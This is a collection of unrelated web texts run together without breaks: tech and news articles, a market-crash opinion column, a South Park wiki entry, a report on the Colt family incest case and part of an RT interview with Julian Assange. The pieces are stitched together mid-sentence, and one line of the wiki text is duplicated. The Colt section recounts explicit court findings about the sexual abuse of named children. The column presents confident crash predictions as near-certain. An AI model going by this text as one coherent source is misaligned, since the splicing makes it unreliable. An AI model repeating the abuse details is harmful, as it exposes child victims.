· click to add to favorites · click to visit the ForumOption, a global leader in wireless connectivity, security and experience, today launches XYFI - the world's smallest hotspot with integrated 3G, WiFi and hotspot connectivity.Option's XYFI, the world's smallest 3G WiFi hotspot, enables up to eight simultaneous connections, so users can connect their WiFi devices and invite others to share their broadband connection easily and securely. In addition to connecting to cellular networks to share WiFi, XYFI also connects to WiFi presenting the user as a hub to connectivity and providing carriers with significant WiFi offload benefits.XYFI is powered via USB connection, meaning users can take advantage of a wide variety of USB-enabled power sources; in fact the XYFI will offer a set of elegant power accessories, including a wall and car plug, and a unique extended battery pack for the longest autonomy of any battery-powered personal hotspot router.Jerome Nadel, Chief Experience Officer at Option, commented: "XYFI's easy 'out-of-box' set-up brings instant connectivity to everyone, without the need to install any software or drivers. It can be powered in many different ways, making it ideal for use on the move anywhere that a user has 3G or WiFi coverage, a USB slot and power. The intuitive web pages are optimized for use on mobile devices and guarantee users the best possible connectivity experience."XYFI comes with smart interfaces. It can be easily managed from an intuitive web-based GUI and dedicated mobile pages. In addition to secure, seamless connectivity, XYFI's integrated microSD memory card slot and streaming capabilities allow users to share media and files.XYFI delivers easy and secure wireless information sharing anywhere, anytime. Option will be announcing leading customers in the coming weeks.Who hasn’t fantasized about living in a treehouse? Whether you are a child who wants to rule his backyard from a crows nest in the trees or an adult who seeks solace away from their everyday life of working, treehouses offer “the stuff dreams are made of”. Most treehouses can be built by a handy man or a dad who is handy with tools. But some treehouses are unique, imaginative and special. Some structures are built on trees or hung from trees and some unusual tree houses are grown from trees or even built right into a tree.
Some people see living in trees as an extravagance, some want to save the environment and others out of tradition or necessity. Tree house designs that range from functional to whimsical, sustainable to eccentric and affordable to amazingly expensive. Innovative builders keep imagination alive in their treehouses. Combining architecture and landscaping they create treehouses which mix beautifully into their wooded surroundings, and preserve the health and integrity of the trees that support them.
Now it’s your turn. We at Eldergadget recognize and honor the energy and zest for life our readers have. So if you’ve always wanted to build a treehouse for yourself, your children or grandchildren now’s your chance. We will soon be publishing a “How-you-do-it” column covering as many aspects of building a treehouse as possible. We will draw upon experts in the field as well as our own Lon Levin, author of “Treehouses” to guide you through the process. So keep a watch out for the column and start planning today.When the Power Goes Out, Renewable Energy Trailer Goes to Work in Michigan
August 12th, 2009 by Jeff Kart
[social_buttons]
Here’s a feather in the cap of renewable energy supporters.
When the (baseload, coal and nuclear) power went out after storms in Muskegon, a mobile renewable energy unit came to the rescue.
Mobile Gen LLC, an energy company based in Houston, Texas, has been testing a new mobile power generation trailer at the Great Lakes Environmental Research Lab in Muskegon. The lab is an arm of the National Oceanic and Atmospheric Administration.
The NOAA facility lost its power after a Sunday storm, and the mobile unit kicked into action, giving off juice for a field station, classrooms and scientific equipment, reports The Muskegon Chronicle.
The story adds that the mobile unit, a 20-foot utility trailer with two wind turbines, five solar panels, battery storage and a propane hydrogen generator, is actually able to power the facilities indefinitely.
You can’t go and buy one just yet. The prototype was built in Elkart, Indiana, famous for travel trailers. It’s intended for use by the military, disaster response and government agencies like NOAA, which also runs the National Weather Service, quite appropriately.
Also appropriate: The trailer will be marketed as well to recreational vehicle enthusiasts.
A writer at Blogging for Michigan observes that the Mobile Gen is supplying 50 percent of the facility’s power, and may go into service at other remote government sites for full-time power in the future.
(Image Credit: Leaning power line. By Tammra, via Flickr.)According to the preorder site, Gatebox's debut character Hikari has the "ultimate healing voice" (uh huh) and the J-Pop AI will adjust to your daily rhythms, welcoming you home or sensing when you get up. According to the demo video, the CGI "dimension traveller" will be able to switch on your lights and other home appliances based on your movement or orders. The device includes infrared tech, meaning it should be able to talk to not-so-smart home appliances that aren't WiFi-connected. (Of course, there's WiFi and Bluetooth connectivity for anything smart you do own.)
The character is made up of a two-dimensional rear projected image, and you'll be able to play other videos if you hook-up a PC to its HDMI port. When it comes to interacting with users, the Gatebox has a camera and other (unspecified) sensors to detect movement and even the owner's face.
Unlike the Echo (or even Siri), you'll have to physically press the mic button on the Gatebox to talk to your rear-projected idol; the device won't just pick up your oral commands. The company admits there's only limited conversation interactions anyhow, although there's a text message-based Chatbot for Hikari if you're also not much of a talker. You'll be able to text the her, even though she isn't real. She'll get lonely if you come home late, apparently, but again, she is not real.
There's a limited run of 300 Gearboxes, on preorder til mid January 2017, with delivery currently penned for December 2017. You'll have to really like the idea of a tiny trapped anime character of your own: preorders cost 298,000 yen -- which is roughly $2500. Hit up the creepy source links for more details. (She likes donuts.)Donald J. Trump has asked Republicans who do not have anything nice to say about him to not say anything at all.
But Senator Mike Lee, the Republican from Utah, could not help himself.
Mr. Lee, a close friend of Mr. Trump’s former primary opponent, Senator Ted Cruz, let his true feelings be known on Wednesday night in an interview with Newsmax when he was asked why he had not endorsed the presumptive Republican presidential nominee. Faced with the prospect of a Hillary Clinton presidency, how could he not?
“Well, we can get into that if you want,” Mr. Lee said. “I mean we can get into the fact that he accused my best friend’s father of conspiring to kill J.F.K.”
The comment was a reference to Mr. Trump’s insinuation that Mr. Cruz’s father was involved with the assassination of President John F. Kennedy in 1963.SAN LUIS OBISPO, Calif. (MarketWatch) — The “Dr. Boom” scenario: America is about to “unleash a spending spree. Years of self-denial give way to pent-up demand,” predicts UBS economist Maury Harris in USA Today’s bold lead story.
His clue? Consumer sentiment: “Harris estimates that in the next five years, catch-up consumption will boost annual consumer spending growth by a half point to above 3% from about 2%.”
Getty Images Ben S. Bernanke, chairman of the U.S. Federal Reserve.
Reassuring? No, wishful thinking. Be very skeptical. As Robert Kuttner, author of the new “Debtors’ Prison: The Politics of Austerity Versus Prosperity” once wrote in BusinessWeek, “What do you call an economist with a prediction? Wrong.”
Harris is bucking the headwinds of history. As Jeremy Grantham, chief strategist of the $100 billion GMO money managers, recently told InvestmentNews, the newspaper of record for America’s 90,000 professional investment advisers, “3% annual GDP growth is history.”
Here’s why you better be preparing today for a crash dead ahead. As Pimco’s Bill Gross warned in his recent newsletter: “You’re going to lose money investing... because the central banks say so.” That’s right, this is a Fed-driven rally. Soon the Fed will be forced to stop printing cheap money.
No spending spree; Obama’s new Fed Chair has to raise rates
Here’s the alternative “Dr. Doom’s August scenario:” Aging bull market. Fifth year. Markets at risk. Down soon. August. Will Obama reappoint Bernanke again? No way. But who? New blood? Shake things up with Wall Street mastermind Mayor Michael Bloomberg? After more than two decades of Greenspan/Bernanke’s misguided, destructive monetary policies, America could use a guy like him at this crucial turning point.
But expect a safe bet. Obama favors a woman. The high rollers are already betting on Janet Yellen, vice chairman of the Fed, long-time monetary insider. Former San Francisco Federal Reserve Bank CEO. Also chairman of Clinton’s Council of Economic Advisers.
But watch out, even a sure bet can misjudge hidden dangers lurking ahead of a Titanic like the $15 trillion U.S. economy. As the Wall Street Journal’s Matt Wirz wrote in March:
The Fed “won’t be able to keep a lid on interest rates forever.” So “large money managers such as BlackRock, TCW Group and Pimco are getting ready for the day when rates take their first turn higher. It isn’t coming anytime soon, these investors say. But when it does, they worry, the ascent will be swift and steep.”
Get defensive now, start preparing for a crash... later is too late
Get it? Rates will go up. Way up. Very fast. And America’s 95 million Main Street investors will be unprepared. Markets will crash. Like 1994’s 24% bond crash after Fed rate increases, notes Wirz.
The big players say the crash “won’t happen soon.” Don’t believe them. They’re betting with trillions. And they are hedging their bets, already preparing for “when rates take their first turn higher,” because rates will soar “swift and steep,” and when that happens it will be too late to prepare.
“Dr. Doom,” the economist Nouriel Roubini is also hedging his bet, misleading investors, telling us to expect a “huge rally in risky assets” the next couple years “setting markets up for a major sell-off.”
Warning, a crash is more likely to happen in August 2013 than in 2015 when the next presidential election campaign is kicking into high gear. So start preparing for a crash when the new Fed chairman ends cheap money.
Why target August for rate increases... and a crash?
Why an August trigger? Here’s the logic: Obama reappointed Bernanke in August 2009. He’s predictable. August is quiet. Earnings season over. Congress on vacation, not that they haven’t been on vacation for a while. Wall Street will be sunning on Fire Island and Nantucket.
So August is a good time to sneak in an appointment. True, Bush first appointed Bernanke in October back in 2005, but that was a different time zone.
More important than the timing is what happens after Obama broadcasts his choice of a new Fed chairman. We got a big clue: A couple years ago the New York Times noted that Yellen had a major role at the Fed to provide “forward guidance” about monetary policy, several years ahead, while “persuading investors that it is safe to accept lower interest rates.”
Yet when asked, Yellen was clear: “When the time has come, am I going to support raising interest rates? You bet.” Well, the times are a-coming.
After years of GOP Fed chairmen, new chairman will be forced to raise rates
So what’s even more predictable, after a Yellen announcement pundits will flood the news media with dire predictions of rate increases dampening the economic recovery. Why? For one thing, everyone knows they can’t stay at rock-bottom, dirt-cheap, give-away prices that help banks but are killing the rest of America.
As hedge fund manager Daniel Arbess put it succinctly in a recent Wall Street Journal op-ed piece: “Monetary impotence plus fiscal paralysis equals an inadequate recovery... Stock markets have recovered all of the $10 trillion lost in the recession, but homeowners are still $5 trillion underwater.”
Arbess cites “the Pew Research Center, the highest-earning 7% of the population saw their net worth grow by 28% between 2009 and 2011, while overall the net worth of the remaining 93% of Americans dropped by 4%.” The Super Rich won big. Main Street suffered most.
More proof? In another Journal op-ed, Martin Feldstein, former chairman of Ronald Reagan’s Council of Economic Advisor, said Bernanke’s QE policies are a “dead end... the program has done little to raise economic growth while saddling the Fed with an enormous balance sheet.”
So Bernanke knows rates must rise “swift and steep.” But most likely he’s hoping America’s weak recovery will hang on till his term ends, preserving his legacy till he gets an $11 million book deal, topping Greenspan.
Three endings: Short bull ends, Bernanke ends, 30-year bond bull ends
In March 2009 my column headline read: “6 reasons I’m calling a bottom and a new bull.” The Dow crashed from 14,164. Hit rock bottom at 6,547. Wall Street lost over $10 trillion of America’s retirement money. Your money. And the stock market did recover more than 100% since. But now the long-term trend’s reversing: Now I’m calling a top to this Fed-driven bull.
So America’s facing three historical endings: The bull that started March 2009, the Fed’s cheap-money policies and the 30-year bull market in bonds.
And Pimco’s Bill Gross also agrees with Grantham’s long-term macro prediction over on InvestmentNews: “Bond investors should be expecting 2% to 3% returns over the future years... lower than expected, but... still better than cash and will provide positive returns.” Moreover, “a big spike in interest rates... wouldn’t be friendly for stocks, either.” Yes, big drop for both.
Yes, 3% annual GDP growth is gone forever. Are you prepared?
Grantham warns that from the late 1900s until the early 1980s “the trend for U.S. GDP growth was up... remarkable... 3.4% a year for a full hundred years,” powering the American Dream. But after 1980, under Reaganomics and the new conservative capitalism, “the trend began to slip,” warns Grantham.
Yes, after a century of high-growth prosperity, our GDP growth dropped “by over 1.5% from its peak in the 1960s and nearly 1% from the average of the last 30 years.”
And looking ahead at long-term macro-trends: “The U.S. GDP growth rate that we have become accustomed to for over a hundred years” is “not going back to the glory days of the U.S. GDP growth,” no matter how much wishful thinking the media quotes from in-house economists at UBS and Wall Street banks, “it is gone forever.”
Bottom line: America is deep in denial. And it’s killing our GDP. A new blinding “irrational enthusiasm” times 10. We are again in denial about our accelerating GDP decline. Grantham put it this way: “Most business people (and the Fed) assume that economic growth will recover to its old rates,” as do bank economists like UBS’s Harris.
But looking ahead to 2050, Grantham warns: “GDP growth (conventionally measured) for the U.S. is likely to be about only 1.4% a year, and adjusted growth about 0.9%.” Get it? The American economy is on a long-term decline.
But as InvestmentNews warned in their earlier in its “Special Report: Tick, Tick... Boom!” millions of investors have “no idea what’s about to happen to them.” We’re in denial, clueless and as Gross puts it, “You’re going to lose.”Jordan Planitz is 6 years old and has a rare disease that is likely to kill him before he makes it through high school.
So this past weekend, Jordan donned a graduation gown decked out with bright letters of the alphabet and climbed the stage at Tri-City High School near Springfield to receive an honorary diploma.
"How amazing is that?" his mother, Deanna Planitz, wondered after the Sunday ceremony in the small town of Buffalo, according to the Springfield Journal-Register.
The senior class had met Jordan last fall when he visited the school as part of its Principal for a Day program.
Jordan was born with MPPH syndrome, a terminal condition characterized by brain abnormalities and excess fluid inside the skull. There are nine documented cases of MPPH syndrome worldwide. In 2013, Jordan was named the Children's Miracle Network's Illinois Champion Child.
Told that Jordan was not expected to survive to see his high school graduation, the class of 2015 asked school officials to include Jordan in its graduation ceremony.
"He made a really big impact on our lives," said class valedictorian Beth Daniels. "He always has a smile on his face. Going through what he's going through, it kind of makes everyone else want to put a smile on their faces."
Daniels and other students led Jordan up to the stage, where he was handed his diploma. Jordan was also given a blue and gold tassel for his cap and a gold sash to wear over his gown.
"I was so amazed that they would even remember who Jordan was, much less decide that he deserved an honorary high school diploma," Deanna Planitz said. "These kids are awesome."
(Click HERE to see more photos from the graduation)2-Time Featured Article Winner
April 2007, January 2017
Kenneth "Kenny" McCormick,[4][5] voiced by Matt Stone, is one of South Park's main characters, along with Eric Cartman, Stan Marsh, and Kyle Broflovski. He first appeared in the short films both entitled The Spirit of Christmas in 1992 and 1995. He is voiced by Mike Judge in the feature film South Park: Bigger, Longer & Uncut and Eric Stough in the episodes "The Jeffersons", "Lice Capades" and "Mysterion Rises".
Kenny is most famous for dying in almost every episode in the first five seasons of South Park. He is also easily recognizable for almost always wearing an orange parka, or just having his face hidden, that covers most of his face and muffles his speech. In the episode "Mysterion Rises" Kenny, who is revealed to be the superhero Mysterion, reveals that he has the power of immortality, in a sense, and that he just wakes up in his bed after having died. He is then upset that his friends never remember him dying, and even kills himself in front of everyone to prove himself.
The character was killed off the show in the Season Five episode, "Kenny Dies", but returned in the following season, at the end of "Red Sleigh Down" and has since been a regular character; however, he now only dies occasionally. In most of the episodes in the tenth and eleventh seasons, he tends to recede into the background, though this tendency seems to have ended with the Season Eleven finale. Throughout the tenth, twelfth, eighteenth and nineteenth seasons, Kenny did not die once. Kenny died three times in total in Season Thirteen, five times in Season Fourteen, and once in seasons fifteen and sixteen.
Contents show]
Background
Character Inspiration
Like many of South Park's characters, Kenny is based on a real person; in this case a childhood friend of Trey Parker's also named Kenny. In a 2000 interview Trey said that the real life Kenny was the poorest kid in the neighborhood and wore an orange parka that made it difficult for anyone to understand what he was saying. Trey also stated that real life Kenny would skip school from time to time causing the others to jokingly say he had died, and a few days later, he would join his classmates and attend school again.[6]
Criminal Record
In some episodes Kenny is known to do some crimes on his own, but not very often, in part due to him usually being selfless, albeit somewhat lecherous.
He has been arrested four times - once for prostitution, in which he gave Howard Stern a "hummer" for ten bucks, once for participating in Stan's Whale Wars crew, once for illegally downloading music, and once for vigilantism. However, he never stays in prison for long since the town is full of idiots. He may not actually have been arrested in "The Coon" because in a deleted scene, it shows that Kyle posed as Mysterion so Kenny wouldn't get in trouble. Kenny's criminal record includes, but isn't limited to:
Deaths
Kenny McCormick is best known in the show for his recurring death in nearly every episode of the first five seasons, often followed by some variant of "Oh my God, they killed Kenny!" and "You bastards!" from his friends Stan and Kyle, respectively. The gag has many precedents, going back at least as far as the regular cry, "You rotten swine! You've deaded me!" by Bluebottle voiced by Peter Sellers in "The Goon Show" in 1951. In the first few episodes, Kyle said the entire phrase. Later on, it varied, depending on who killed Kenny.
Kenny has died and come back over 103 times in the franchise (86 in the series, to date, two in the early animated shorts, six in other authorized TV parodies, six times in the video game, and twice in the movie).He is also killed nine different ways in the opening sequence. Kenny’s most recent death was in Season Fifteen episode, " The Poor Kid " when he is mauled by a Giant Reptilian Bird. Kenny died in almost all the episodes until the writers killed him off permanently in the fifth season, in " Kenny Dies ", but he returned at the end of the next season's finale, " Red Sleigh Down ", remarking that he's "just been over there" (pointing off screen).
Although he doesn't appear in "A Ladder to Heaven", "The Biggest Douche in the Universe", "The Death Camp of Tolerance", or "The Return of the Fellowship of the Ring to the Two Towers", he technically is in them, as Cartman mixed his ashes with milk and drank it, causing his soul to be trapped inside of him. By the sixth season, Matt and Trey got rid of the practice of killing him in every episode; they got tired of the joke. The reason why Kenny died continuously was given in an interview with Matt Stone and Trey Parker, who stated vaguely that it was because Kenny is poor. Kenny is always resurrected for the next episode, although the explanations for his reappearance varied. In "Cartman Joins NAMBLA", it is explained that his soul returns to his mother, takes to another body, is reborn, and then grows to be 8 or 9 years old in record time (and somehow retaining physical appearance and memories), while another simply had Kenny magically reappearing out of thin air in the second part of the two-part episode "Cartman's Mom is a Dirty Slut" after he was run over by a train in the first. The most recent explanation comes from the episode "Mysterion Rises", in which Kenny himself reveals he is unable to stay dead and always wakes up in bed eventually, while nobody else remembers his death. However, in the next episode, "Coon vs. Coon & Friends", it is confirmed that, while he may wake up in his bed, it is indeed his mother that gives birth to him every time. Kenny's "immortality" may be connected with the Cult of Cthulhu, as Mrs. McCormick mutters under her breath, "I knew we should have never gone to those cult meetings."
None of the other characters seem to find this at all unusual. Stan merely greeted Kenny when he materialized, and no one else even blinked. Kenny himself is aware of the fact that he is constantly killed, expressing resentment over the fact that Stan was worried about Kyle's impending death while never mourning Kenny, and opting to take home economics classes over wood shop partly because he was afraid of getting killed by the dangerous power tools in the shop class, and cheering after realizing he had survived the episode "Mr. Hankey, the Christmas Poo". In his will in the episode "Best Friends Forever", Kenny says "In the highly likely event of my death..." In the episode "Mysterion Rises", he says to Hindsight "Nobody even remembers me dying. I go to school the next day, and everyone is just like, "Oh, hey Kenny." Even if they had seen me get decapitated with their own eyes." This would suggest that Kenny is fully aware of his deaths, but nobody else is. In "Mysterion Rises" and "Coon vs. Coon & Friends", Kenny points out that nobody can remember his deaths. He even shoots himself in the head after a desperate plea to his friends to try and remember this time, but they don't.
Other characters occasionally seem to be vaguely aware of Kenny's deaths. In "Cartmanland", Kenny dies in Cartman's theme park, and when the lawyers suing him mention "that boy who died," Cartman replies with, "Who, Kenny? He dies all the time." It would seem that the others are also aware of Kenny's deaths, but are quite nonchalant about them since they know he will re-appear. Stan and Kyle say their "Oh my God, they killed Kenny!" lines like they don't care in the episode "Gnomes", in which the gnomes accidentally crush Kenny, and mourn over this tragedy, but are confused as to why the kids don't seem to care. In "Chef Goes Nanners", Kenny eats antacid tablets, thinking they're mints, and drinks some water afterwards. When Kenny explodes, the four boys and Kyle's dad laugh and applaud, and Stan even says, "That was a good one." And in "Fourth Grade" Kenny dies on a wheeled sled and Stan says "Well, who didn't see that coming." In other episodes, however, Kenny's death is sometimes taken more seriously for plot purposes, especially in "Kenny Dies", where it is considered a major dramatic event in the boys' lives. In "City on the Edge of Forever (Flashbacks)" Stan at one point reacts incredulously to the idea Kenny could have ever died more than once, and Cartman agrees that it "wouldn't make sense."
Kenny survives a few episodes in the first five seasons:
"Mr. Hankey, the Christmas Poo", Kenny is asked to do many life-threatening stage crew tasks, like plugging in a cord with a puddle of water underneath the outlet. He successfully performs the tasks without getting hurt or killed.
"City on the Edge of Forever (Flashbacks)", which takes place entirely within Stan's dream. Kenny only dies within the dream and a false flashback that Cartman has in the dream. He is also seen alive after his “death” as the school bus falls off the cliff, shortly before the whole thing is revealed to be a dream.
"Rainforest Shmainforest", when he is struck by lightning and then revived with CPR by his new girlfriend Kelly.
The "Do the Handicapped Go to Hell?"/"Probably" two-parter, when he is run over by a bus in Part 1 and presumed dead. When the bus stops in Mexico in Part 2, he is scraped from underneath the bus by a Mexican man and found to still be alive, this being an error due to the fact his body was left behind after the bus hit him in Part 1.
"Fat Camp", in which a kid from drug rehab who had previously been posing as Cartman is forced by Stan and Kyle to dress in Kenny's orange parka and climb into Ms. Crabtree's uterus as part of a television stunt. His dead body is later squeezed out, followed by the corpse of another kid resembling Harry Potter. Kenny was serving jail-time in New York after performing a sex act on Howard Stern for ten bucks during his live radio show at the time.
"Terrance and Phillip: Behind the Blow" - Earth Day activists hack all of Kenny's limbs off, but he is not shown to die at any point in the episode.
"Cripple Fight" - The hawk takes him, but he is seen in scouts later.
"Starvin' Marvin in Space" - He is shown frozen in carbonite near the end of the episode. In the Star Wars movies, Han Solo is frozen in carbonite and is then revived to normal later on, since the freezing process is (usually) not fatal. This means that if South Park follows the Star Wars canon, Kenny could potentially be restored, although no such thing is done or talked about.
canon, Kenny could potentially be restored, although no such thing is done or talked about. "Chickenlover"- In this episode, he was almost killed 3 times, first by a car that two vandals roll over, resulting Stan to say "Oh my God, they killed-" until Kenny appears unharmed and Stan finishes with "Oh, never mind." Second time was when he was on a swing when Officer Barbrady stops swinging, resulting him to go flying and hitting himself on a brick wall. There, Stan again says "Oh my God, they killed-" and Kenny gets up fine. Again, Stan says "Oh, never mind." The third time was when Officer Barbrady catches the so-called Chickenlover (who turned out to be the Booktastic bus driver). The Chickenlover shoots his pistol, and then suddenly Kenny falls down. Stan again says "Oh my God, they killed-" but Kenny gets up. However, this time Stan seems to be a bit upset that Kenny didn't die, and says "Damnit!" But then, at the end, he dies because a tree falls on him.
In addition to escaping death in a few episodes, Kenny does not appear in the episodes "Terrance and Phillip in Not Without My Anus", "Cat Orgy", "Two Guys Naked in a Hot Tub", or "Pip" and therefore does not die in any of these episodes. However "Cat Orgy" and "Two Guys Naked in a Hot Tub" are all part of the same night as "Jewbilee", so technically he did die during those episodes.
Kenny has died only rarely during seasons seven through fourteen. Some "deaths" are not actual instances of Kenny dying, but are still accompanied by Stan and Kyle's remarks, such as when Kenny's character was killed in "Make Love, Not Warcraft". The most he has died since Season Seven was over the superhero arc - he dies once in "Mysterion Rises" and a further three times in "Coon vs. Coon & Friends".
The episode "Cripple Fight" suggests that Kenny's deaths are caused by his parka. When Timmy gives Jimmy a nearly identical parka, a series of unfortunate and fatal events repeatedly happen behind him (meaning they all miss him); a voice can even vaguely be heard screaming, "There's Kenny! Kill him!", but Jimmy does not even notice. On the other hand, in some episodes, Kenny dies without the parka, such as "The Jeffersons" when Mr. Jefferson tosses him up through the ceiling (thinking it was his son) and killing him.
Kenny seems to know about the "Oh my God! They killed Kenny!" catchphrase said after he dies, as evidenced in Season One when he says a variation the catchphrase himself, except with Dr. Alphonse Mephesto having been shot, rather than himself, with Kyle replying "You bastards!". In "Prehistoric Ice Man", Kenny calls Cartman a bastard after Stan says "Great job, Cartman, you killed Kyle." On a third occasion, Kenny used the catchphrase when Cartman is badly injured, but Stan points out that Cartman isn't dead.
In "Mysterion Rises", Kenny reveals that he has a superpower - he cannot die. He reveals this to Captain Hindsight, saying that he sometimes sees "a bright light", "Heaven", or "Hell". He also states that the worst part is that nobody remembers, even if they see him die. He considers this a curse, and tries to convince the others that it is true in "Coon vs. Coon & Friends". Nobody believes him though, and when it turns out that Bradley Biggle also had a power, he silently admits defeat and shoots himself in front of everyone. He is reborn instantaneously inside his mother's womb, who immediately deposits the new born baby in his bed, and he ages instantly into a 9 year old before morning.
Family Background
Kenny's family is one of the poorest families in South Park. His parents are both unstable alcoholics and occasional drug users, the former which was a trait that his father Stuart inherited from his own father.
Financial State
Because Kenny's family is so poor, they eat frozen waffles with no side dishes for dinner and bread sandwiches for breakfast. In "Starvin' Marvin", Kenny won a can of green beans for his family, though they could not afford a can opener. In "Sexual Healing", Kenny's family ate microwave pizza. Cartman frequently exploits Kenny’s poverty by offering him money for performing strange |
the victim of sexual abuse by uncles and other relatives on the farm, Kimberly was also an instigator.
In foster care, Kimberly was observed placing her hand inside the skirt of her aunty Carmen — who is five years younger than Kimberly.
Carmen confirmed to a carer that Kimberly had been touching her “girl”, the words the Colt children used for “vagina”.
Judge Johnstone’s findings stated that when “questioned about this behaviour, Kimberly reportedly stated, with a smile, that she engages in such behaviour because ‘she likes it’.”
Kimberly said her uncles tied her to a tree on the Colt property and had sex with her.
Her mother Raylene did nothing about the regular sexual assault inflicted on her by her uncles.
Kimberly also stated that Dwayne had intercourse with her and “made me sore because he was too hard”.
She also told caseworkers that her uncle Joe “had sex with me only once” and told her not to tell anyone.
But she said that when she told her mother Raylene about these incidents, Raylene became angry and told her it was her fault and that she should not have sex with the boys who were “too big”.
Raylene would later submit through her lawyer in the Children’s Court that she had not been informed of the abuse.
Raylene’s lawyer also argued that Kimberly “suffers from an extremely low level of intelligence and is easily confused” and was “difficult to understand”.
Judge Johnstone concluded that Kimberly was “the daughter of related parents... either half siblings, uncle/niece, aunt/nephew, double first cousins or grandparent/grandchild”.
“It follows that the assertion of Raylene Colt that Kimberly’s father was a man called Sven, a backpacker from Sweden or Switzerland, is wrong,” Judge Johnstone said.
“The true father of Kimberly is someone from the Colt family.
“I am satisfied, therefore, that Raylene Colt engaged in consanguineous, incestuous sexual relations within the Colt family group.”
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Another Colt family member, then 27-year-old Tammy disclosed that she had been sexually abused within the Colt family from the age of 12, when other family members began having sex with her” and that “her mother, Betty Colt, encouraged this activity”.
Tammy had three children fathered by her brother Derek, one of whom had died from a rare genetic disease.
The baby, Sally, had been born extremely dysmorphic (abnormal looking), with a thick short neck and low set ears, consistent with the genetic disorder called Zellweger syndrome.
Tammy’s remaining children were removed from her care in Victoria.
In November 2014, Betty Colt was jailed for 12 months over a plot to kidnap two of her sons back from foster carers.
Charlie Colt subsequently told news.com.au that the genetic testing tendered in the Children’s Court proceedings — which said 11 of the children removed had parents who were related — was “unreliable”.
Mr Colt described the allegations against his family as “disgusting”.
“If you look at all the children, I don’t think there’s too many that look alike, to say that they’re interrelated,” Charlie Colt said.
“Because a little girl’s teeth doesn’t quite form properly in the gums, I’ve travelled the world and seen that thousands of times,” he said.
“You say her eyes aren’t quite symmetric, you may be right, but that does not mean that she’s a product of an evil act.
“For the rest of my life, even if I walk through court tomorrow, I’m going to be called that person that raped that nine-year-old … it makes me feel sick to the stomach, it makes me feel bewildered and I am absolutely disappointed in the justice system.”
The AVOs are due back in a Sydney court next month.Preservationists are trying to save Providence Heights College and it's church in Issaquah from being torn down. (Photo: Michael Sladek)
ISSAQUAH, Wash. - Preservationists trying to save a church in Issaquah might need a "Hail Mary" play at this point. The site is slated for demolition, but several people went before city councilmembers Monday night to say it's not too late to save what they call one of the architectural jewels of the Northwest.
The towering, beautiful windows are one of the many reasons people give for saving Providence Heights College in Issaquah. During the public comment portion of the council meeting, that attribute was brought up repeatedly.
“There is need to preserve this site, to buy time to engage the community as a whole to say there is something significant here,” said Steve Pereira, a staunch supporter of saving the campus.
Providence Heights College was built in the 1960s to educate nuns. The church at its center is graced with ornate stained-glass designed by Gabriel Loire, a renowned French artist.
“People all over the world just love windows like this that he made,” said Susan Hass, who prepared a Powerpoint presentation for council. “He was very prolific."
Now a developer owns the site and plans to knock down the existing buildings to possibly make way for housing or even two public schools.
“It's a shame to see something of that stature and that sturdiness just demolished,” said Elizabeth Maupin with Issaquah Sammamish Interfaith Coalition.
Preservationists insist the existing buildings can be repurposed as affordable housing or used as extra classrooms, and there’s no need to tear it all down and rebuild.
During the meeting, Mayor Fred Butler pointed out that Providence Heights lacks any official historic designation so staff with the city's Development Services Department couldn't factor that into the demolition request they approved. However, city leaders do want to salvage the stained glass.
The demolition request is under appeal and is set to go before a hearing examiner at the end of the month.The man behind WikiLeaks says his website's revelations are just the tip of the iceberg. In an exclusive interview with RT, Julian Assange said it is only a matter of time before more damaging information becomes known.
Watch the full version of RT’s exclusive interview with Julian Assange (part 1)
Watch the full version of RT’s exclusive interview with Julian Assange (part 2)
The publication of confidential cables proved deeply embarrassing for the US and other countries.
“If we look at our work over the last 12 moths, think about that. All these stories that have come out actually happened in the world, before 2010, but people didn’t know about it. So what is it that we don’t know about now? There’s an enormous hidden world out there that we don’t know about. It exists there right now.”
Assange claims the data released by WikiLeaks is not even the most important and calls on people not to believe that the information they receive from the media is all that is happening.
“We only released secret, classified, confidential material. We didn’t have any top secret cables. The really embarrassing stuff, the really serious stuff wasn’t in our collection to release. But it is still out there.”
Read more about Laura Emmett's interview with Julian Assange
"Every war in past 50 years a result of media lies"
RT: Julian, thank you for talking to RT. Now, through the course of your work, you have some insight into the way that political decisions are made throughout the world. What do you make of the recent developments in the Middle East and North Africa at the moment? Do you think that we are seeing genuine social unrest or are we seeing some kind of orchestrated revolt and if so, who do you think is behind all this?
JA: There is genuine change in some parts of the Middle East. I mean Egypt is a clear case. I was concerned at the beginning over the Egyptian revolution: whether we just saw a changing of the chairs and the maintenance of the same existing power structure, or whether something was really happening.
But after Mubarak fled Cairo, you saw mini-revolutions occurring in every institution within Egypt, from Alexandria to Cairo. So, that’s the sort of change that’s hard to undo.
What’s happening in some other countries is a bit different. The situation in Libya clearly has an involvement of state actors in it from many different areas. That’s something that has been driven by state actors. Now, it is normal for neighboring countries to have interconnections with each other: the activists in different countries, families in different countries, businesses in different countries, and the states from neighboring countries. That’s normal.
When outside forces from very, very far-flung countries start to take an aggressive role in a regional affair, then we have to look a bit more and say that what is going on is not normal. So, what’s happening in Libya, for example, is not normal.
RT: And social networking, what role, do you think, sites like Facebook and Twitter, have played in the revolutions in the Middle East? How easy, would you say, is it to manipulate media like that?
JA: Facebook in particular is the most appalling spying machine that has ever been invented. Here we have the world’s most comprehensive database about people, their relationships, their names, their addresses, their locations and the communications with each other, their relatives, all sitting within the United States, all accessible to US intelligence. Facebook, Google, Yahoo – all these major US organizations have built-in interfaces for US intelligence. It’s not a matter of serving a subpoena. They have an interface that they have developed for US intelligence to use.
Now, is it the case that Facebook is actually run by US intelligence? No, it’s not like that. It’s simply that US intelligence is able to bring to bear legal and political pressure on them. And it’s costly for them to hand out records one by one, so they have automated the process. Everyone should understand that when they add their friends to Facebook, they are doing free work for United States intelligence agencies in building this database for them.
RT: OK, let’s talk about other latest WikiLeaks cables that have been released. They show the UK as a haven for extremism, with at least 35 Guantanamo detainees having at least passed through the UK. Is the UK still a haven for terrorists?
JA: You know it has been a haven for terrorists, and it is certainly a haven for oligarchs and former regime dictators that have come here. I mean, remember the famous Pinochet trial for the extradition of Pinochet from the UK, which Thatcher resisted – incredibly, using a lawyer that is involved in trying to extradite me from the United Kingdom. Now, part of that is, perhaps, good. It’s an example of true liberalism in the United Kingdom: everyone come here, and we’ll protect you. On the other hand, there does seem to be a disconnect. Is it really supporting free-speech activists like me who come to the UK? But, on the other hand, it is supporting people like sons of Gaddafi.
RT: The Guantanamo information… why has WikiLeaks released it now? I mean it seems sort of to be after the fact. Is it because Obama has recently announced his re-election campaign and obviously closing Guantanamo was one of his main election promises?
